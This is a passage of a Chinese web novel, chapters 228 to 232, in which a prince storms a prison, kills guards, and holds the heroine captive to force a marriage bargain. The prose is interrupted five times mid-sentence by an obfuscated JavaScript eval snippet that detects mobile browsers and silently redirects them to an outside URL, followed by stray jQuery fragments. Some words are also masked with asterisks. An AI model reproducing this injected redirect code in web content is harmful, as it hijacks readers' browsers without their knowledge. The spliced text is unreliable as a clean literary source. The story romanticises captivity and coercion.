萧凌川一言不发,只是缓缓抬起手,任由那枚温润的南月玉牌从指间垂落。 寒影瞳孔骤然紧缩! 下一瞬,他直接单膝跪在地上,声音里是压抑了多年的、无法掩饰的激动: “南月夜影阁阁主寒影,见过世子殿下!” 随着他下跪,周围所有持剑的黑衣**齐刷刷收剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这不就是她琢磨了几百个日日夜夜,打算用来永远逃离萧凌川的法子——假死脱身! 第228章 劫狱 第二百二十八章劫狱 萧怀瑾见她神色变幻,以为她已然动摇,声音压得更低,带着一种不容置疑的恳切: “姜姑娘,你放心,本王会将一切安排得天衣无缝。成功脱身后,你若担心在京城被人认出,本王可以带你离开京城,去一个无人认识我们的地方。从此,你不用再背负任何人的算计和眼光,只为自己而活。” 他描绘的未来着实美好,但姜姝宁却猛地抬起头,打断了他。 “殿下!”她的声音里带着一丝颤抖,眼神却异常坚定,“恕我不能答应!我没有罪,为何要在公堂上认罪?我的名声事小,但我不能让我的父母和堂弟,因为我,背上一世污名!” 她深吸一口气,“何况,此事定有转机!姜莲的婢女可以为我作证,是瑞王妃毒打姜莲在先,我送药是为了救人!只要大理寺传唤她,真相自会大白!” 萧怀瑾犹豫片刻,终是有些不忍地开口:“太晚了,姜姑娘。姜莲的婢女……在送进大牢当晚,已在狱中咬舌自尽。” 姜姝宁的身子控制不住地晃了晃,脸色瞬间血色褪尽。 “怎么会……是谁干的?” “此事还在查,但已经不重要了。”萧怀瑾温润的眼眸深处,是毫不掩饰的焦灼,“姜姑娘,你还不明白吗?这不是意外!是有人铁了心要你死!唯一的证人没了,你被钉死在这桩案子里,再无翻案的可能!本王提出的这条路,是我唯一能为你找到的生路了!” 他眼底的真诚和急切,几乎要将她冰冷的心融化。 姜姝宁知道,他是真心想要救她。 改名换姓,与他相伴,去看遍山川闲云,过上她前世梦寐以求却不可得的安宁生活。 说不动心是假的。 只要她能放下仇恨…… 可“放下”二字,谈何容易。 杀兄之仇早已刻入她的灵魂,报仇成了她今生唯一的执念。 她一定要萧修湛死! 整个大邺,只有萧凌川能帮她手刃仇人。 若她就此“死去”,以萧凌川的凉薄性子,又怎会为一个**,去杀一个已经毫无威胁的废人? 想到这,姜姝宁缓缓垂下眼帘,声音沙哑: “殿下的好意,我心领了。只是事关重大……请容我,再考虑考虑。” “好。我给你时间考虑。”萧怀瑾深深地看了她一眼,那目光复杂难言,“但姜姑娘,你要知道,能留给你考虑的时间不多了。” 大理寺地牢深处另一间牢房里。 一道身影如枯死的雕像般,静静地靠坐在角落的草堆上,一动不动。 直到一阵刻意压低的脚步声由远及近,那道身影才微微抬起了头。 来的是一名狱卒,他卑微地躬着身子,隔着牢门,声音压得像蚊蚋一般: “殿下……成了。小的按您的吩咐,用她家人的性命去逼她,那丫头……果真咬舌自尽了。” 听到这话,那张形容枯槁、宛如死木的脸上,像是冰面裂开了一道缝隙,一个扭曲而丑陋的笑容在他脸上一寸寸绽开。 那笑容里没有半分喜悦,只有纯粹的、令人毛骨悚然的恶毒。 “赏。” 他抬起完好的那只手,慢条斯理地从另一只被废掉的手臂上,撸下一枚成色极佳的金扳指,随手扔出了牢门。 “叮当”一声脆响,金戒指在肮脏的地面上滚了几圈,沾满了污秽。 狱卒的眼睛瞬间亮了,他如获至宝般扑过去捡起,连声道谢后,便迅速退入了黑暗之中。 牢房内,重新恢复了死寂。 萧修湛低头,脸上的笑容愈发阴鸷。 姜姝宁,你不是总是一副清冷高傲、不染尘埃的样子吗? 本王亲手斩断了你所有的生路,就是要看你在绝望的泥潭里,是如何苦苦挣扎,如何被一点点吞噬! 本王这条断臂的痛,就用你的命来偿还吧! 第二日,午门之上的钟鼓被一并敲响,传遍了整座沉睡的皇城,宣告着一个新时代的开启。 新帝萧政贤身着一袭绣着日月星辰、山川龙纹的冕服,向列祖列宗的牌位上香叩拜,告慰先灵,宣告继承大统。 天坛之下,文武百官按品阶序,黑压压地跪了一片,山呼之声,遥遥可闻。 仪式的最高潮,是在太和殿。 当萧政贤的身影出现在殿门处时,殿内肃立的百官与殿外广场上的数千禁军,如潮水般跪伏于地。 他一步步走上九级台阶,最终在万众瞩目之下,转身落座于那张象征着无上权力的龙椅之上。 绝对的寂静之后,是排山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979458|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒海般的朝拜声: “吾皇万岁,万岁,万万岁!” 声浪如雷,震得殿宇嗡鸣。 立于百官前列的萧怀瑾,同样躬身行礼,目光却越过无数朝臣的头顶,不动声色地搜寻着。 从太庙到天坛,再到如今的太和殿,萧凌川,那个本该最引人注目的景王,始终没有出现。 一股强烈的不祥预感,如冰冷的藤蔓,悄然缠上了他的心脏。 他绝不相信萧凌川会无故缺席如此重要的场合。 萧凌川,到底去了哪里? 此时的大理寺地牢里,死一般的寂静被骤然撕裂。 数十道黑影如鬼魅般涌入,手中的兵刃快如闪电,寒光闪过,狱卒们甚至来不及发出一声完整的惨叫,便捂着喉咙无声倒下。 这是一场目标明确的**。 他们无视了沿途囚犯的惊叫与求饶,径直朝着独立囚室而去。 听到动静的萧修湛,在看清这阵仗后,枯槁的脸上迸发出病态的狂喜。 他猛地扑到牢门前,完好的左手死死抓住冰冷的铁栏,用嘶哑而急切的声音冲着那群黑衣人高喊:“好汉!我乃当朝瑞王!救本王出去,本王定有重谢!金银财宝、高官厚禄,任你们挑!” 然而,那些黑衣人对他声嘶力竭的许诺充耳不闻,脚步没有片刻停顿。 只有一个身形尤为颀长的黑衣人,在路过他牢门时,停下了脚步。 那双透过面罩投来的目光,竟比地牢的寒气更冷,看得萧修湛心头一颤。 但他仍抱着最后一丝希望,激动地重复:“壮士,只要你救我……” 话音未落,一道夹杂着凛冽杀意的剑风,毫无征兆地当头劈下! 萧修湛求生的本能让他下意识地松手爆退。 “锵——!” 一声刺耳的金铁交鸣,他方才紧握的铁栏,被那黑衣人的长剑劈出了一道深可见骨的剑痕,火星四溅。 若是晚了哪怕半瞬,他仅剩的这只手,此刻也已齐腕而断。 萧修湛只觉一股寒气从头顶灌到脚底,脸色煞白地跌坐在地,一个字也说不出来。 那黑衣人则缓缓收回长剑,目光中闪过一丝冰冷的惋惜。 可惜。 就差一点,就能把他另一只手也废了。 第229章 这笔账,我们慢慢算 第二百二十九章这笔账,我们慢慢算 门外狱卒的惨叫声由远及近,最终化为死寂。 浓郁的血腥气透过牢门的缝隙钻进来,几乎令人作呕。 姜姝宁浑身冰冷,抓起牢中唯一能当做武器的木椅,死死地盯着那扇随时可能被撞开的牢门。 “吱呀——”一声,门开了。 一个高大的黑影逆光而立,她举起椅子步步后退,惊恐万分:“别过来!” 那人脚步一顿,随即抬手,扯下了脸上的面罩。 火光映亮了来人的面容——俊美,冷冽,却也让姜姝宁一阵阵窒息。 是萧凌川。 她浑身的血液仿佛在这一刻凝固了,所有的惊恐、不解与骇然,最终化成两个字: “……你这个疯子!” 萧凌川的薄唇勾起一抹讥诮的弧度,那双深不见底的黑眸里,翻涌着她看不懂的狂热。 “本王是疯子这件事,”他重新戴上面罩,大步流星地走来,“你不是早知道了么?” 话音未落,他已轻而易举地夺过她手中的木椅,随手掷开。 在姜姝宁的惊呼声中,他拦腰一抄,不顾她的挣扎反抗,直接将她扛上了肩头。 地上,是横七竖八的尸体,幸存的狱卒也都受了伤,匍匐在地上瑟瑟发抖。 牢房里的犯人朝姜姝宁投去羡慕的目光,在他们眼中,她是被救出苦海、重获自由的幸运儿。 眼前的场景让姜姝宁眼前一阵阵发黑,浑身抖得不成样子。 凌风的马车早已候在大理寺外。 姜姝宁挣扎得厉害,萧凌川干脆利落地扯下自己的玄色长袍,将她从头到脚裹了个严严实实,牢牢禁锢在怀中,隔绝了她所有的呼救与视线。 不知过了多久,颠簸的马车终于停下。 束缚一松,姜姝宁猛地挣脱出来,披头散发,一双美目因极致的愤怒而燃烧着火焰,死死瞪着他:“萧凌川!你到底想干什么?!” “显而易见,本王在救你。” “救我?”姜姝宁气得浑身发抖,声音都在颤,“你把大理寺变成了人间炼狱,滥杀无辜,这也叫救我?!” 救她的方式明明有很多种,他偏偏选择了最极端最草菅人命的一种。 见她颤抖得厉害,萧凌川只当她是冷,伸手便将她重新揽入怀中,语气凉薄: “那些人的命,与你何干?本王只知道,再迟一步,死的就是你。” 他抚着她的背,像在安抚一只受惊的宠物,“姝宁,别怕,有本王在,谁也伤不了你。” “你这么做,问过我的意见吗?”姜姝宁的声音因愤怒而微微颤抖,那双死死瞪着他。 他带着薄茧的指腹摩挲着她的脸颊,那动作透着一股病态的暧昧。 “你如今还有别的选择吗?”萧凌川低笑一声,目光描摹着她尖尖的下颌线,声音缱绻,“才进去几日,竟瘦了这么多,看来,以后必须把你锁在本王身边,寸步不离地养着才行。” 姜姝宁像是被烫到一般,猛地挥开他的手,厉声道:“你怎么知道我没有别的路可走!” 萧凌川脸上的笑意瞬间褪去,神色变得阴沉如水。 “别的路?是指萧怀瑾许你的那条……‘假死’之路吗?” 姜姝宁脸上的血色“唰”地一下褪得干干净净,瞳孔因震惊而剧烈收缩。 “你……怎么会……” “我怎么会知道?”萧凌川终于笑了,那笑容里满是掌控一切的傲慢与讥诮。“姝宁,你未免太小看本王了。你真以为,若没有本王的人里应外合,这固若金汤的大理寺天牢,是说闯就能闯的?” 姜姝宁彻底僵住了,一股寒气从脊椎骨一路窜上天灵盖。 大理寺天牢……连这种地方都有他的人。 这张由萧凌川权势织就的天罗地网,她将来真的能逃脱吗? 她咬紧下唇:“就算如此,宁王殿下至少给了我应有的尊重!不像你,只会自作主张,全然不顾我的感受!” “那又如何?”萧凌川猛地收紧手臂,有一次将她死死地按在自己怀中,俯身凑到她耳边,用情人般亲昵的、却又淬着寒意的声音轻语,“所以,如今你才在本王怀里,而不是他的。他注定争不过本王的!” 他的话音未落,灼热的气息便已喷在她的耳廓。 不等姜姝宁反应,他竟一口含住了她小巧的耳垂,舌尖带着不容抗拒的力道,轻轻一卷。 那感觉与其说是吻,不如说是一种带着惩戒意味的噬咬。 “萧凌川!” 姜姝宁浑身一颤,像是被蝎子蛰了一般,拼命挣扎起来,声音里是抑制不住的惊怒:“你言而无信!我们说好的,在萧修湛死前,只是盟友!” “盟友?” 萧凌川低沉的笑声,像是从胸膛里碾出来的,充满了尖锐的嘲讽。 他终于松开她,转而捏住她的下巴,迫使她抬起头,直视自己那双深不见底的黑眸。 “你把一块玉牌赝品交给顾晚樱,妄图以此掣肘本王……这也是盟友该做的事?” 一句话,如同一盆冰水,从姜姝宁的头顶浇灌而下,让她瞬间僵在原地。 他……他怎么会知道那是赝品?! 难道…… “那块真正的玉牌,在你手上?” “自然。” 他的手臂倏然收紧,像铁箍般将她彻底禁锢在怀中,语气森然: “姜姝宁,你真是好大的胆子,竟敢私藏它,还妄想用它来算计本王。” 他凑得更近,几乎是贴着她的唇,一字一顿道: “这笔账,我们回府,再慢慢算。” 姜姝宁指尖微颤,萧凌川向来睚眦必报,也不知道等待她的将是怎样可怕的报复。 新帝登基大典还未结束,一名大理寺侍卫便连滚带爬地冲到大理寺卿面前,声音因恐惧和失血而颤抖:“大人!大理寺……大牢被劫了!姜姑娘……被人劫走了!” 此言一出,大理寺卿脸色煞白,险些瘫倒在地。 “你说什么?!” 大理寺卿身旁的萧怀瑾一把上前扶住那摇摇欲坠的侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982761|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他脸上的温润神色荡然无存,一双眸子锐利如鹰,声音冷得可怕:“看清劫走她的是什么人了吗?” 侍卫大口喘着气,绝望地摇头:“都……都蒙着面,武功奇高……卑职无能,没能看清……” 萧怀瑾眉头紧蹙,难怪萧凌川今日没出现在登基大典上! 原来他去劫狱了! 一股怒火陡然涌上心头。 他霍然起身,径直对身旁的侍卫下达王令: “即刻封锁京城四门!全城**!但凡发现行迹可疑的马车,一律拦下盘查!” “是,宁王殿下!”侍卫领命而去。 萧怀瑾翻身上马,目光如利剑般,直直射向京城中景王府的方向。 他身后的亲卫正待询问追索方向,却听他吐出几个字,带着冰冷的笃定: “不必满城去找了。” 他一勒缰绳,调转马头,声音里是压不住的怒意: “随本王去景王府!” 景王府的大门被擂得震天响,几乎要被门外萧怀瑾亲卫的刀柄给砸穿。 守门侍卫脸色发白,高声道:“宁王殿下!我家王爷身体抱恙,早已歇下,实在不便见客!” “让开!”萧怀瑾的声音冷得像淬了冰。 一想到姜姝宁被萧凌川带走,他整个人都要疯了。 身后亲卫“呛啷”一声齐齐拔剑出鞘,锋利的剑刃瞬间抵在了守门侍卫的脖子上。 “宁王殿下饶命!小的这就给您开门!” 萧怀瑾浑身裹挟着骇人的煞气,景王府中下人噤若寒蝉,无人敢拦。 他一路畅通无阻地来到萧凌川的寝室外,没有丝毫犹豫,一脚踹开了寝室的大门! “砰——”的一声巨响。 然而,门内的景象却让他瞳孔骤然一缩。 寝殿内,熏香袅袅,还混杂着一股淡淡的药味。 萧凌川并未如他想象中那般狼狈藏匿,反而只穿着一身素白中衣,正斜倚在榻上,手中还慢悠悠地翻着一卷书。 听到巨响,他才懒懒地抬起眼皮,看向门口怒发冲冠的萧怀瑾,唇角勾起一抹夹杂着讥讽的笑意。 “五弟这是做什么?带着亲卫闯进本王的寝殿,是来探病,还是来捉贼的?” 萧怀瑾的目光如鹰隼般,死死地盯着他。 “你当真病了?” 他飞快地扫视了一圈空无一人的寝殿。 竟然萧凌川在府里,那姜姑娘肯定也被藏匿在府中! 萧凌川看着他脸上变幻莫测的神情,轻咳了两声,慢条斯理地开口:“五弟若是不信,大可问问太医,本王从昨夜便开始发热,卧床至今,一步也未曾离开过王府。” 萧怀瑾自然不信! 他上前一步,声音是从牙缝里挤出来的:“四哥,大理寺被劫狱了,丢了一名重犯。本王怀疑此事跟你有关!” 萧凌川嗤笑出声:“五弟,欲加之罪,何患无辞啊?” 萧怀瑾像是没听到他话中的嘲讽,冷冷下令:“来人,给本王搜!务必找出姜姑娘的下落!” 第230章 温柔又残忍 第二百三十章温柔又残忍 萧怀瑾的亲卫开始在景王府里仔仔细细搜寻。 萧凌川斜倚在榻上,神色慵懒:“五弟,你带着人,在本王的府里闹出这么大动静,可有陛下的手谕?” 他顿了顿,抬眼看向脸色铁青的萧怀瑾,唇角噙着一抹冰冷的笑意,“私闯王府,可是重罪。你贵为宁王,大不了去宗人府跪几天祠堂。可你这些忠心耿耿的亲卫……怕是都要人头落地了。” 此言一出,正在搜查的亲卫们动作皆是一滞,脸色煞白,不自觉地看向萧怀瑾。 “四哥不必危言耸听!”萧怀瑾强压下心头的怒火,冷声道,“大理寺若无确凿证据,本王又岂会登门?四哥如此百般阻挠,莫非是心虚了?” “哦?证据?”萧凌川像是听到了什么天大的笑话,施施然起身,踱步到他面前,“那不妨请五弟将大理寺的‘确凿证据’,拿出来让本王开开眼?” 萧怀瑾神色一僵,随后又恢复如常的平静:“稍后大理寺卿会亲自送来。” 大理寺卿自然没有证据证明劫狱的是萧凌川,可他早就认定姜姝宁被困在这景王府里。 为了找出姜姝宁,他只能诈萧凌川。 就在两人对峙,空气几乎凝结成冰时,一名亲卫的惊呼声打破了僵局: “殿下!这里有间屋子,从外面上了锁!” 萧怀瑾立马转身,快步赶了过去。 只见一间偏僻的厢房门上,赫然挂着一把崭新的黄铜大锁,在昏暗的廊下泛着刺眼的光。 分明是此地无银三百两! “钥匙!”萧怀瑾回头,声音已经带上了难以抑制的颤抖。 萧凌川慢悠悠地跟了过来,摊了摊手,神情无辜至极:“没有钥匙,许是哪个下人弄丢了。” “新的锁!你说没有钥匙?!”萧怀瑾目眦欲裂,他不再理会萧凌川,转身对着门内声嘶力竭地大喊,“姜姑娘!别怕!本王来救你了!” 喊声在空旷的院中回荡,门内却死寂一片,毫无回应。 萧凌川欣赏着他失态的模样,嘴角的笑意越发恶劣。 他故意凑过去,压低声音,带着一种分享秘密般的亲昵语气说道: “五弟,如果人真的在里面,你觉得本王会让她有机会回应你吗?” 他拖长了语调,目光邪肆,“……本王不如点了她的哑穴,还是……用更省事的法子,直接用迷药把人弄晕。” “你——!” 这番话如同一把淬毒的尖刀,狠狠扎进萧怀瑾的心脏,他双目赤红,理智的弦“嘣”地一声彻底断裂! “来人!给本王把门砸开!” “放肆!”萧凌川脸上的笑容瞬间消失,取而代之的是属于亲王不容侵犯的威严与煞气。 那股迫人的气势,让所有亲卫都下意识地后退了半步。 “砸了这扇门,你们便是在与本王为敌!” 萧怀瑾却仿佛没有听见,他的眼中只剩下那扇冰冷的门。 一想到姜姝宁被困在这里,他立马不顾一切下达了最后的命令:“砸开!一切后果,本王一力承担!” 就在亲卫们迟疑的瞬间,一声厉喝如惊雷般炸响: “住手!” 锦衣卫指挥使带着一队人马风驰电掣地赶到,看到眼前剑拔**张的一幕,脸色大变,连忙高声劝阻:“宁王殿下,冷静!无凭无据,擅闯并毁坏亲王府邸,此乃大罪!” 然而,这句劝阻来得太晚了。 或者说,对一个已经被嫉妒与怒火烧昏了头的男人来说,任何理智之言都如同火上浇油。 萧怀瑾猛地夺过身旁亲卫手中的长剑,用尽全身的力气,狠狠地砸向那把刺眼的黄铜大锁! “哐啷”一声巨响,锁应声而裂。 在所有人惊骇的目光中,那扇门被他一脚踹开。 门内,死寂无声。 映入萧怀瑾眼帘的,是满目的……红。 大红的喜字剪纸,龙凤喜烛,桌案上精致的合卺酒,以及……一套叠放整齐,只待新人穿上的凤冠霞帔。 这铺天盖地的红,像一盆滚油,浇在萧怀瑾本就沸腾的心上,瞬间炸裂开来。 他踉跄一步,赤红的双目扫遍了屋子的每一个角落。 唯独,没有他要找的那个人。 锦衣卫指挥使见状,连忙上前一步,对着面沉如水的萧凌川拱手,语气焦急:“景王殿下息怒!陛下得知宁王殿下此番冲动行事,已派臣前来阻止。还请景王殿下看在手足情分上,莫要计较……” “手足情分?” 萧凌川冷笑一声,那笑意里结着冰碴子。 “他带人闯我的王府,砸我的门,这叫手足情分?指挥使,你告诉本王,今日他敢砸本王的门,明日,是不是就敢提剑闯入本王的寝室了?此事,必须按‘大不敬’之罪,上奏宗人府,严惩不贷!” “你!”萧怀瑾被那满屋的红刺激得几近癫狂,他指着萧凌川,嘶声力竭地吼道,“你分明是做贼心虚!若不是你藏了人,准备这满屋的婚仪何用?!” “本王爱慕姝宁,想明媒正娶,为她备下聘礼婚仪,何错之有?”萧凌川不退反进,理直气壮地走上前,每一步都像踩在萧怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982762|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾的尊严上,“倒是五弟你,无凭无据,擅闯王府,毁我私产。这笔账,本王记下了。” 他不再看萧怀瑾,而是转向早已冷汗涔涔的锦衣卫指挥使,语调森然,下了最后的通牒: “指挥使,你是要将人带走,还是要本王……亲自‘送’他去宗人府?” 锦衣卫指挥使的冷汗已经浸湿了官服的内衬,他快步走到萧怀瑾身侧,声音压得极低,却字字如刀: “殿下!宫里的荣太妃与荣华公主,她们的安稳,全系于您一念之间!还请殿下到此为止,莫要让陛下左右为难!” 这番话,终于成了压垮骆驼的最后一根稻草。 萧怀瑾浑身一僵,陡然想起那个被扣以“**手足”罪名的瑞王萧修湛,眼中的赤红怒火渐渐褪去,取而代之的是一片深不见底的**与冰冷。 他死死地盯着那满屋刺目的红,最后一言不发,猛地转身,带着满腔的不甘与杀意,拂袖离去。 直到所有人的脚步声都消失在王府之外,世界彻底归于寂静。 萧凌川才慢条斯理地走进那间挂满红绸的屋子,踱步到墙边一个不起眼的紫檀木柜前,按动一个机关。 只听“咔哒”一声微不可闻的轻响,那沉重的木柜,竟无声地向一侧滑开,露出后面一方漆黑的、深不见底的洞口。 一丝冷风从密室中逸出,紧接着,一双幽绿的兽瞳在黑暗中骤然亮起。 一只通体漆黑、身形矫健的黑猫迈着优雅的步子走了出来,它警惕地看了看周围,直到确认安全,才走到萧凌川脚边,亲昵地蹭了蹭他的裤腿。 “黑豹,守得很好。”萧凌川俯身,轻轻拍了拍它的头。 黑猫发出一声满足的咕噜声,便自觉地走出了屋子,将这片空间完全留给了它的主人。 萧凌川这才提步,走入那片黑暗。 随着他的进入,光线被带了进去,照亮了密室中的景象—— 姜姝宁正蜷缩在角落,双手被反剪在身后,嘴里被塞着布团,一身的狼狈也掩盖不住她眼中的倔强与怒火。 萧凌川缓缓蹲下身,与她狼狈的视线齐平,唇角勾起一抹温柔又残忍的弧度。 他抬手,用指腹轻轻拂去她脸颊上的一缕尘灰,声音缱绻如情人间的低语: “姝宁,你看,那些打扰我们的人都离开了。” 他顿了顿,那双深邃的眼眸里,翻涌着病态的偏执与浓烈的占有欲。 “现在,我们之间的账,该好好算一算了。” 姜姝宁的身体,在对上他那双桃花眸的那一刻,便不可抑制地战栗起来。 第231章 她像待宰的羔羊 第二百三十一章她像待宰的羔羊 萧凌川将她从密室里抱出来,让她看清楚那间布置得很周全的婚房。 龙凤喜烛高燃,红色的帐幔低垂,就连桌上那对孤零零的合卺酒杯,都与她记忆深处那个**的夜晚,别无二致。 看着这熟悉又陌生的地方,姜姝宁只觉得头皮发麻。 他从身后环抱住她,下巴抵在她的肩窝,滚烫的气息喷洒在她的颈侧,柔声问:“还记得我们前世成婚时的样子吗?” 他像是完全没察觉到她身体的僵硬和战栗,自顾自地、缱绻地说道,“你看,这些都是我按照前世的一切布置的。从景王府建好的那一刻开始,我就在布置这间屋子,力图恢复得跟前世一样……” 姜姝宁自然记得。 他憎恨她以清誉要挟他娶她,故意将婚房设在最偏僻冷清的院落。 婚后十年,她都是住在这个屋子里,明明是景王府的女主人,住的却是离他寝殿最远的屋子。 一想到这些,姜姝宁就心口酸涩,愈发为前世的自己感到不值。 “王爷不是说要和我算账吗?”她冷冷看着他,“总提前世的事做什么?” 萧凌川端起桌上的酒壶,倒了一杯酒递到她唇边,神色缱绻:“喝了这杯合卺酒,你私藏玉牌,算计本王的事……我便既往不咎。” 听到这话,姜姝宁脸上忍不住露出嘲讽的笑。 前世她费尽心思嫁给他,换来的,却是他满眼的嫌恶、十年的折辱。 今生,她避之不及,他却演起了非她不娶的深情戏码。 何其可笑,何其讽刺! “王爷难道忘记,你前世原本想娶的人,是姜瑶真。臣女因为不自量力嫁给王爷,被王爷冷落了整整十年。这样的苦,臣女可不想再受一次!” 听到这话,萧凌川神色一僵。 “前世本王想娶姜瑶真,是因为她姨娘是南月人,本王只是想……总而言之,本王对她没有男女之情,一切都基于利用。” 他的棋局本该天衣无缝,可姜姝宁这个最大的变数,却以玉石俱焚的姿态横冲直撞,毁了他隐忍多年的全盘谋划。 他曾怨恨她坏了自己的计划,毕竟,对于当时那个最不受宠的皇子而言,南月的助力是他唯一的生路。 可后来,她那飞蛾扑火般的爱,竟成了唯一的光,将他那颗为权谋而冰封的心,一点点焐热。 他失控地,动了心。 但姜瑶真母女如毒蛇一般,若被她们看出他对她的感情,定会对她不利。 所以他只能一边佯装冷落她,一边和姜瑶真虚情假意,试图得到她们母女的信任。 姜姝宁唇角的嘲讽更甚:“王爷还真是坦白!这难道光彩吗?” 这讥诮的话瞬间将萧凌川激怒,他猛地将酒杯掷在桌上,酒水四溅。 “本王若不那般冷落你,若不做出与姜瑶真虚与委蛇的样子,你以为你能安然活过十年?姜家那对毒蛇母女,早就将你啃得骨头都不剩了!” 这番话,只让姜姝宁感到荒诞。 她甚至懒得去挣扎,只是用一种近乎怜悯的眼神看着眼前这个状若疯魔的男人。 “所以……王爷的意思是,”她缓缓开口,声音平静得可怕,“我前世所受的十年冷遇,百般折辱,如今还要反过来……感谢你的‘良苦用心’?” 萧凌川脸上的阴鸷有了一瞬间的凝固,眼中甚至闪过一丝真实的痛楚。 “是本王不好,前世不够强大,让你受了那么多委屈。你放心,今生本王不会再让任何人伤害你。” 他说着,想抚摸她的脸,却被她避开。 她抬起眼,眸中盛满了冰冷的讥诮与恨意。 “王爷,你大概没意识到,这世上唯一伤害我的,从来就只有你!” 萧凌川神色一僵。 随即笑了起来。 “姝宁,你这般恨我,也未尝不是件好事。没有爱,哪来的恨?我宁愿你恨我入骨,也不要你对我无动于衷。”他看着她,神色病态又疯狂,“今生就让我们这样,纠缠到白头吧!” 话音未落,他已不由分说地箍住她,强行将酒杯凑到她的唇边! 姜姝宁猛然想起前世,合卺酒不知怎的被下了烈性春药,他以为是她下的,新婚之夜极其粗暴,让她难受了很久。 “放开我!我不喝!”恐惧让她疯狂地挣扎起来,**的泪水瞬间模糊了视线。 萧凌川似乎也想到什么,安抚似的将她圈进怀里,温热的唇贴着她冰冷的脸颊,柔声道:“别怕,这只是普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990845|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的合卺酒,没有被下药。前世是本王冤枉你了,后来你去世后,本王才查出,在合卺酒里下药的是你的贴身婢女冬梅。” 姜姝宁浑身一震。 原来是她。 今生她早就发现冬梅是姜瑶真安插的眼线,却万万没想到,前世那场毁掉她所有尊严与希冀的新婚之夜,竟也是出自冬梅之手! 不被夫君爱慕已经够惨的了,还要在新婚之夜遭受那样的折磨。 姜姝宁咬牙切齿,姜瑶真,你果然歹毒! “王爷方才说,对姜瑶真并无半分情意,只是利用……”她的声音沙哑,却异常平静,“此话当真?” 萧凌川低头看着她,看着她眼中那片死寂的灰烬,心脏莫名一紧,却又因这绝对的依赖而感到一阵狂喜。 “自然。” “那好。”姜姝宁的唇角勾起阴冷的弧度,“我要她的命,王爷可愿帮我?” “本王自然……乐意至极!” 听到他的承诺,姜姝宁主动端起那杯酒水,一饮而尽。 清冷的酒液划过喉咙,带着一丝辛辣的灼痛。 “王爷,”她放下酒杯,眼尾因烈酒染上了一抹绯红,却再无泪光,“要说话算话。” 说完,她闭上了眼,长长的睫毛如蝶翼般颤抖,交出了所有抵抗,也献祭了所有尊严。 她像待宰的羔羊,柔软可欺,又充满了决绝的死气。 萧凌川贪婪地凝视着她这副全然顺从的模样,喉结滚动。 良久,他只是伸出指腹,轻轻拂去她唇角的一滴酒渍。 “不急,本王让人带你去洗漱。” 姜姝宁心中一片冰冷的了然。 是了,他有洁癖。 一个刚从牢狱归来、沾满尘秽的她,还不配成为他的榻上之物。 他要的,是一件被洗剥干净、完美无瑕的祭品。 浴池中,温热的水汽包裹着身体,可那寒意却像是从骨子里渗出来的,怎么也驱不散。 她将自己沉入水中,一遍遍麻木地告诉自己:无所谓,又不是没和他同床共枕过。 况且,如今自己困在这景王府里,就算不和他做交易,也终究难逃此劫。 能用这具身子换姜瑶真那条毒蛇的命,也值了! 第232章 滚烫而露骨的占有欲 第二百三十二章滚烫而露骨的占有欲 伺候她洗漱的婢女,捧来了一袭婚服。 看着这件与前世相差无几的婚服,姜姝宁只觉得一股无力感从心底腾升而起。 那些她拼了命想忘却的**记忆,萧凌川却偏要悉数复刻。 这怎么不算一种折磨呢? 她任由婢女们为她穿上嫁衣,又在她脸上仔细描摹出艳丽的妆容。 被送回那间婚房时,满目刺眼的红烛摇曳,映得萧凌川那张俊美绝伦的脸带上了几分妖异。 他已换上婚服,正含笑望着她。 眼前的一切,都与前世的寸寸重合。 